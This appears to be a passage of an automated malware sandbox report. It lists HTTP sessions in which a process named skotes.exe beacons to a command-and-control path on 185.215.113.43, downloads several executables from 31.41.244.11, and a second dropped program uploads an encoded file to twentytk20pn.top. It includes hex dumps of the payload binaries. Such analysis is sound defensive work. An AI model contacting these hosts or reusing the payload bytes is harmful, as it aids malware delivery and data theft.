12	192.168.2.4	49867	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:43.898741961 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:12:45.226016045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:45 GMT Content-Type: application/octet-stream Content-Length: 4455936 Last-Modified: Fri, 20 Dec 2024 04:57:41 GMT Connection: keep-alive ETag: "6764f945-43fe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 d0 c8 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c9 00 00 04 00 00 76 2c 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 b4 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 b4 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@v,D@ _pts`tH PtL(@.rsrc`t\(@.idata pt^(@ 8t`(@sshkjhii@vb(@vjqzdwszC@.taggant0"C@
Dec 20, 2024 07:12:45.226073980 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:45.226089001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:45.226113081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:45.226130009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:45.226146936 CET	672	IN	Data Raw: c4 2a b5 f5 d0 b9 3a b1 a4 fa 15 e4 52 c9 70 48 1f 67 90 a9 52 2e b3 e2 b4 a4 a7 7e 4a 7b 55 e7 f0 6c 00 bf 47 5e d3 f7 ff fa 5b 76 58 f3 fd 17 42 30 ab 87 cc f2 08 5b db 41 c1 6e 97 30 89 66 20 83 ed 38 58 af 7d 5e 09 7c 85 0f 2b 4f 0d 59 40 29 Data Ascii: :RpHgR.~J{UlG^[vXB0[An0f 8X}^\|+OY@)AYKZRI@i"53$Snf7_zx0mP5QYw+:0:65oODi>B!'Q/^[ms~0=4msN;t';
Dec 20, 2024 07:12:45.226481915 CET	1236	IN	Data Raw: 18 01 d6 b8 0a 22 ec da eb 76 0d 58 76 91 c5 cb 2f d0 1a 37 b6 52 13 63 5b ca 1e 2e 51 09 b2 76 5d 72 a9 42 33 ea 28 c0 ed fc b8 78 89 f3 db 75 b1 b3 b8 10 e9 06 7e e6 28 7b 4a 49 45 da 08 c8 ba 02 9e 65 57 18 46 6b 95 08 82 6e 71 0b 19 11 ce ae Data Ascii: "vXv/7Rc[.Qv]rB3(xu~({JIEeWFknqlW1"P(n;FEhYdS1,fDZ0)Z;S:/d48[s`ysF?9K$A:vgrM&.2&=w?TTw2o)5&]D
Dec 20, 2024 07:12:45.226495981 CET	224	IN	Data Raw: 76 32 91 0f 59 e7 50 a9 01 f2 94 10 bc 48 54 d3 71 da 1e fb a9 eb 44 77 29 08 48 86 be b5 ca a0 c8 88 11 c0 b4 d4 3a 6c e0 26 94 c9 0d f0 b8 a3 af cd f0 a0 96 f3 50 4c a3 a5 30 13 c8 7c 6e 7b 2d f1 d9 47 9d 0c 95 fa 20 5d 82 0c 3d a3 09 61 40 e7 Data Ascii: v2YPHTqDw)H:l&PL0\|n{-G ]=a@Na%`eE`e]:$j*;7kW7#sET28S6p9_4LDiaJTwya,g6bRPVCsg}p
Dec 20, 2024 07:12:45.226511002 CET	1236	IN	Data Raw: 72 88 1f b3 ac 8c 69 37 9b f8 8d 95 d8 4f 73 92 7a 09 76 57 77 45 9e 77 a7 48 b6 79 0a ce d8 72 7f a5 33 57 56 b0 fd 6a 26 62 04 74 e3 18 1d ec 3a 35 9c b1 96 82 cf c3 01 06 03 4f 08 c6 b1 fc 80 4e 62 e8 34 16 0c 62 2d 0a 23 87 d4 aa a1 31 42 6a Data Ascii: ri7OszvWwEwHyr3WVj&bt:5ONb4b-#1Bj${v)/Sdy;'~!*p,K\|t<6]iw:hB7u=17-4^{G:KbBqzo893>&3=;
Dec 20, 2024 07:12:45.226527929 CET	1236	IN	Data Raw: f6 76 09 fa 99 20 71 1f 33 26 5d d5 59 e2 10 c0 4e 41 08 3d 89 e4 3d 1e 7d e2 71 8d 03 be 31 4e 36 70 d8 0c 6f df 36 f2 e8 44 ff 04 19 72 14 f9 f4 4e 38 31 6e f8 9c 3a 51 eb c4 b2 4c 95 e8 fa ec 07 30 ec 46 b2 b4 4a c5 ef bd a9 d4 f0 9e ab 25 c1 Data Ascii: v q3&]YNA==}q1N6po6DrN81n:QL0FJ%0]R%rXr<oOHdq!K#!qmb'){/Pp)SzO7c"1P4"l0IJK_5S}@3qszoqMg_>$8
Dec 20, 2024 07:12:45.346297026 CET	1236	IN	Data Raw: 3b 4f 03 83 4a 56 95 eb 19 b7 09 80 b0 a3 8b db 22 0a 29 df 75 fc b3 11 c1 e6 7f d4 dd e9 a1 48 7a 67 29 ec bd a6 41 99 a0 84 08 df 5a df 28 b1 f5 9a 3e 24 19 9e a0 69 be 12 1d e8 5e 9f 70 76 0f 88 89 9b a5 c8 54 1f ff 78 5b 3c 02 95 0c 18 eb 2c Data Ascii: ;OJV")uHzg)AZ(>$i^pvTx[<,Aw^sqA2~5q]k53o)g2xopK(+qQoDz+cBZ+Cik!r<fm+)2Cc<p]J*cY%~e:x+g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49895	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:55.101874113 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018268001&unit=246122658369
Dec 20, 2024 07:12:56.017128944 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49899	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:56.140362978 CET	61	OUT	GET /files/bckosq/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:12:57.468494892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:57 GMT Content-Type: application/octet-stream Content-Length: 810496 Last-Modified: Thu, 19 Dec 2024 19:41:56 GMT Connection: keep-alive ETag: "67647704-c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 08 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL^g"f@@Ppxx`\|.textmdf `.rdatan@@.data,% @.CODEP `.tls`0@.rsrcp2@@.relocx4@B.bssR@.bss0@
Dec 20, 2024 07:12:57.468636036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:57.468672037 CET	448	IN	Data Raw: 00 8b 45 f0 83 c4 18 5d c2 04 00 cc cc cc cc cc cc cc cc 55 89 e5 83 ec 08 89 4d fc 8b 4d fc 89 4d f8 e8 7c 07 00 00 8b 4d f8 e8 24 08 00 00 83 c4 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 8b 45 0c 8b 45 08 8b 45 08 8a 00 Data Ascii: E]UMMM\|M$]UPEEEEEEME]UWVHEE@(C1D$DD$8MD$0D$4M@-M@L$0D$4)
Dec 20, 2024 07:12:57.468724966 CET	1236	IN	Data Raw: 01 c1 e8 0c 14 00 00 89 44 24 18 8b 4d 08 8b 01 8b 40 04 83 c0 00 01 c1 e8 96 14 00 00 8b 4c 24 18 0f be c0 89 04 24 e8 07 14 00 00 83 ec 04 89 44 24 1c e8 9b 14 00 00 89 c1 8b 44 24 1c 89 0c 24 89 44 24 04 e8 a9 13 00 00 a8 01 0f 85 05 00 00 00 Data Ascii: D$M@L$$D$D$$D$D$8D$8D$,D$(D$,[\|$8RM@st$0\|$4Uxp'L$0t$411D$8D$8\|$8
Dec 20, 2024 07:12:57.468759060 CET	1236	IN	Data Raw: 00 c7 45 f0 00 00 00 00 8b 4d ec 89 08 8b 4d f0 89 48 04 8b 4d fc 31 e9 e8 5c 77 00 00 83 c4 2c 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 b1 00 00 00 a8 01 0f 85 05 00 00 00 e9 05 00 00 00 e8 ba 44 01 00 83 c4 Data Ascii: EMMHM1\w,]UPMMD]UEMMME$sE]UP\|5C1$]UPEMEM]UP5C1$]UP
Dec 20, 2024 07:12:57.468794107 CET	448	IN	Data Raw: 00 00 00 8b 4d 0c 8b 45 e4 89 48 10 8b 45 e4 c7 40 14 0f 00 00 00 8b 45 0c 8b 4d 08 8b 55 e4 89 14 24 89 4c 24 04 89 44 24 08 e8 3c 02 00 00 c6 45 fa 00 8b 4d e4 03 4d 0c 8d 45 fa 89 0c 24 89 44 24 04 e8 63 fd ff ff 8d 4d fb e8 bb fc ff ff e9 b5 Data Ascii: MEHE@EMU$L$D$<EMME$D$cMMNM$D$D$7EME$D$EME$D$MEHMEHEEEEE$ME$L$D$EE$]M
Dec 20, 2024 07:12:57.468842983 CET	1236	IN	Data Raw: e8 e8 75 fb ff ff 89 04 24 e8 ed 01 00 00 89 45 f8 c7 45 f4 10 00 00 00 8d 4d f8 8d 45 f4 89 0c 24 89 44 24 04 e8 e1 01 00 00 8b 00 89 45 e4 8b 45 e4 83 e8 01 89 45 f0 e8 4e 02 00 00 89 45 ec 8d 4d ec 8d 45 f0 89 0c 24 89 44 24 04 e8 f9 01 00 00 Data Ascii: u$EEME$D$EEENEME$D$EM1pE(]UPB$cyUPEEME]UEEEUME$L$D$eE]UE
Dec 20, 2024 07:12:57.468879938 CET	224	IN	Data Raw: 89 08 83 c4 0c 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 14 8b 45 08 89 4d fc 8b 45 fc 89 45 f8 8d 0d 38 81 42 00 89 08 83 c0 04 31 c9 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 08 00 00 00 e8 99 c3 00 00 8b 45 f8 83 Data Ascii: ]UEMEE8B1$D$D$EM$D$XE]UPMM]UEMMME$D$EB]UE
Dec 20, 2024 07:12:57.468910933 CET	1236	IN	Data Raw: 89 4d f8 8b 4d f8 89 4d f0 89 4d fc 8b 45 08 89 45 f4 e8 80 ff ff ff 8b 45 f4 83 f8 00 0f 84 0b 00 00 00 8b 45 f0 89 04 24 e8 bf 6a 00 00 8b 45 fc 83 c4 14 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 0c 89 4d fc 8b 45 Data Ascii: MMMMEEEE$jE]UMEExE@EBEE]UEEMEE8B1$D$D$FEMH]UEMMMMEE
Dec 20, 2024 07:12:57.469033003 CET	1236	IN	Data Raw: fb 01 0f 84 0a 00 00 00 8b 45 f4 8b 08 e8 21 14 00 00 8b 4d f4 e8 b9 14 00 00 83 c4 0c 5d c3 cc cc cc cc 55 89 e5 83 ec 0c 8b 45 08 89 4d f8 8b 45 f8 89 45 fc 8b 4d 08 89 08 8b 08 8b 01 8b 40 04 83 c0 00 01 c1 e8 d8 fd ff ff 89 45 f4 83 7d f4 00 Data Ascii: E!M]UEMEEM@E}MPE]UPMM$]UPME@<]U$@(C1EMMM@HE}tEM$
Dec 20, 2024 07:12:57.588831902 CET	1236	IN	Data Raw: f8 8b 45 08 89 04 24 e8 33 00 00 00 83 ec 04 8b 45 f8 8d 0d 98 83 42 00 89 08 8b 4d 08 8b 51 0c 89 50 0c 8b 49 10 89 48 10 83 c4 0c 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 0c 8b 45 08 89 4d fc 8b 4d fc 89 4d f8 8b Data Ascii: E$3EBMQPIH]UEMMME$3EB]UPMM]U8]UPEEMEMMH]UP5C5Cd,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49912	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:13:01.398077011 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018269001&unit=246122658369
Dec 20, 2024 07:13:02.753742933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49916	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:13:03.123188019 CET	62	OUT	GET /files/loadman/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:13:04.446162939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:13:04 GMT Content-Type: application/octet-stream Content-Length: 1374720 Last-Modified: Thu, 19 Dec 2024 17:14:58 GMT Connection: keep-alive ETag: "67645492-14fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELhD&&@p\U@ P,lcT.text``.dataH@.rdata@@.eh_framp@@.bss4@.idataP@.CRT8p$@.tls&@.rsrc,ln(@@.reloccd@B
Dec 20, 2024 07:13:04.446230888 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZATATATu<@@PE@tZ@TATu<$ATATQ=8KtH1f$
Dec 20, 2024 07:13:04.446269035 CET	1236	IN	Data Raw: e8 d4 80 0b 00 eb c2 66 90 0f b7 51 18 66 81 fa 0b 01 74 37 66 81 fa 0b 02 75 94 83 b9 84 00 00 00 0e 76 8b 8b 91 f8 00 00 00 31 c0 85 d2 0f 95 c0 e9 79 ff ff ff 8d 76 00 c7 04 24 e0 93 4b 00 e8 64 88 0b 00 31 c0 83 c4 1c c3 83 79 74 0e 0f 86 5a Data Ascii: fQft7fuv1yv$Kd1ytZ1Hf,ATD$@T@T@KD$@TD$D$@T$@T,fL$1qUWVUSQx5ATd1x5HVT9
Dec 20, 2024 07:13:04.446362972 CET	1236	IN	Data Raw: 46 0c 85 c0 74 0e 6a 01 50 ff 76 10 e8 64 e3 00 00 83 c4 0c 5e 5d c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 55 89 e5 8b 45 08 8b 08 85 c9 74 0e 6a 01 51 ff 70 04 e8 39 e3 00 00 83 c4 0c 5d c3 0f 1f 40 00 55 89 e5 53 57 56 50 8b 45 08 80 38 03 Data Ascii: FtjPvd^]f.@UEtjQp9]@USWVPE8u7xwtSFtvPSjjW^_[]EFtvPSjjWufDUSWVPAtjPv^0F,Et1E
Dec 20, 2024 07:13:04.446398020 CET	1236	IN	Data Raw: 8c 24 84 00 00 00 89 54 24 30 89 5c 24 28 c7 44 24 08 01 00 00 00 c7 44 24 0c 00 00 00 00 89 44 24 50 8b 84 24 80 00 00 00 29 c6 89 44 24 4c 8d 43 ff 39 d0 89 44 24 48 8b 84 24 8c 00 00 00 8d 52 ff 89 74 24 58 0f 92 44 24 3b 89 54 24 44 89 44 24 Data Ascii: $T$0\$(D$D$D$P$)D$LC9D$H$Rt$XD$;T$DD$ $D$$DD$\1:D\$\|$`3\$\|$0]SuPw\|$t$t$D$D$D\|$ 5t$49r'\$0D$ D$D91
Dec 20, 2024 07:13:04.446436882 CET	1236	IN	Data Raw: e0 3f 09 d0 09 c8 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 75 ab eb 2e c1 e1 06 09 f9 8b 7c 24 04 89 c8 80 7c 24 2c 00 75 97 eb 1a c1 e1 0c 09 ca 89 d0 8b 7c 24 04 8b 54 24 24 80 7c 24 2c 00 0f 85 7b ff ff ff b9 01 00 00 00 3d 80 00 00 00 72 19 b9 Data Ascii: ?\|$T$$\|$,u.\|$\|$,u\|$T$$\|$,{=r=r=t9s<}uo9D$,ty<@D$@\|$$t$8\|$)T$)9s+SVD$Pqt$\|$D$f.@D$D
Dec 20, 2024 07:13:04.446523905 CET	1236	IN	Data Raw: f6 89 45 f0 74 36 6a 01 56 53 eb 28 89 45 f0 6a 01 68 00 9c 04 00 53 e8 dd d4 00 00 83 c4 0c eb 03 89 45 f0 8b 45 ec 85 ff c6 00 00 74 0e 6a 01 57 ff 75 ec e8 c0 d4 00 00 83 c4 0c ff 75 f0 e8 b5 fc 0a 00 0f 1f 44 00 00 55 89 e5 53 57 56 81 ec 1c Data Ascii: Et6jVS(EjhSEEtjWuuDUSWV(VVP@4f.f1@tjPVGu\GwEjhPjhP@PD
Dec 20, 2024 07:13:04.446573019 CET	1120	IN	Data Raw: 0f 10 8d 48 ff ff ff 89 85 3c fe ff ff f2 0f 11 85 34 fe ff ff f2 0f 11 8d 2c fe ff ff f2 0f 11 95 24 fe ff ff 8b 75 f0 8d 8d 40 fe ff ff e8 42 ed ff ff 83 bd 3c fe ff ff 00 0f 84 24 0c 00 00 e8 d0 33 01 00 89 c7 89 85 34 ff ff ff 6a 0c 68 1c 93 Data Ascii: H<4,$u@B<$34jhPj hP@PDHMPVMQ@tjPVjh\Pj4h(P@P<DHPVEPP@tjPV:E
Dec 20, 2024 07:13:04.446656942 CET	1236	IN	Data Raw: 83 c4 0c ff 0f 75 15 ff 4f 04 75 10 6a 08 68 58 01 00 00 57 e8 ac cb 00 00 83 c4 0c 8d b5 00 fe ff ff 6a 0c 68 f0 8f 50 00 6a 30 68 c0 8f 50 00 56 e8 5f a2 00 00 83 c4 14 8d 85 fc fe ff ff 89 b5 40 fe ff ff c7 85 44 fe ff ff 60 21 40 00 c7 85 40 Data Ascii: uOujhXWjhPj0hPV_@D`!@@PDPH@L`!@HL@QPEEjhPjyhPPjh!Phh
Dec 20, 2024 07:13:04.446691990 CET	1236	IN	Data Raw: b0 89 55 dc 89 f9 ff 75 ac ff 75 ec ff b5 e0 fe ff ff e8 aa e7 ff ff 83 c4 0c 8d 85 e4 fe ff ff 89 b5 40 ff ff ff c7 85 44 ff ff ff 60 21 40 00 c7 85 40 fe ff ff 48 92 50 00 c7 85 44 fe ff ff 05 00 00 00 c7 85 50 fe ff ff 00 00 00 00 89 85 48 ff Data Ascii: Uuu@D`!@@HPDPHL`!@PT`!@X\`!@`@d`!@HL@QPEtjPu4tjP8
Dec 20, 2024 07:13:04.566051006 CET	1236	IN	Data Raw: ff ff 85 c0 74 11 6a 01 50 ff b5 28 fe ff ff e8 09 c2 00 00 83 c4 0c 8b 85 30 fe ff ff 85 c0 74 11 6a 01 50 ff b5 34 fe ff ff e8 ee c1 00 00 83 c4 0c 8b 85 14 ff ff ff 85 c0 74 11 6a 01 50 ff b5 08 ff ff ff e8 d3 c1 00 00 83 c4 0c 85 f6 74 0e 6a Data Ascii: tjP(0tjP4tjPtjVutjPnt*^fOtCtjP3it@jPVK^_[]jQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49930	147.45.113.159	80	7624	C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:13:07.710813999 CET	645	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------z1NdtdNVtSMPvgtewgGEp7 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 31 4e 64 74 64 4e 56 74 53 4d 50 76 67 74 65 77 67 47 45 70 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 69 6e 65 78 65 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2d df d9 41 7c 5a d0 fd eb 59 24 d9 bb 77 ba 7e 04 ab af 40 50 f5 c9 bb 4a 92 8e 00 f5 d3 34 a1 b6 fd 93 47 6e 25 5a cc 4a ae 9a da 30 53 32 cc e1 2a 4f 5f 96 d9 51 3d 84 be e5 20 4f 99 ef 3b 1b 2e f3 0c b2 09 b5 09 49 35 59 db 65 b8 8d b2 12 69 18 05 99 8c c5 cc 96 3c 19 e9 b1 0b ab 78 bb 6d 97 bd b2 09 f3 8d 85 6d b1 18 15 ea 3b 3a cf 33 6e 97 fd b7 d4 cf 28 a9 99 cd dd cb 15 b8 90 95 6c eb 54 db 33 1a 1b 7b 68 76 34 69 10 d2 6f 7f 30 a1 e9 41 ed 15 3c ca c9 ce 45 40 fd 69 a4 11 d2 4e 40 f5 31 b7 cc 85 3f cb 10 60 e3 36 52 [TRUNCATED] Data Ascii: --------------------------z1NdtdNVtSMPvgtewgGEp7Content-Disposition: form-data; name="file"; filename="Cinexez.bin"Content-Type: application/octet-stream-A\|ZY$w~@PJ4Gn%ZJ0S2*O_Q= O;.I5Yei<xmm;:3n(lT3{hv4io0A<E@iN@1?`6RU@th_!Yr0vR"y"-V%ammfP--------------------------z1NdtdNVtSMPvgtewgGEp7--
Dec 20, 2024 07:13:09.164407015 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 06:13:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734676989 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49933	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:13:09.307276964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018270001&unit=246122658369
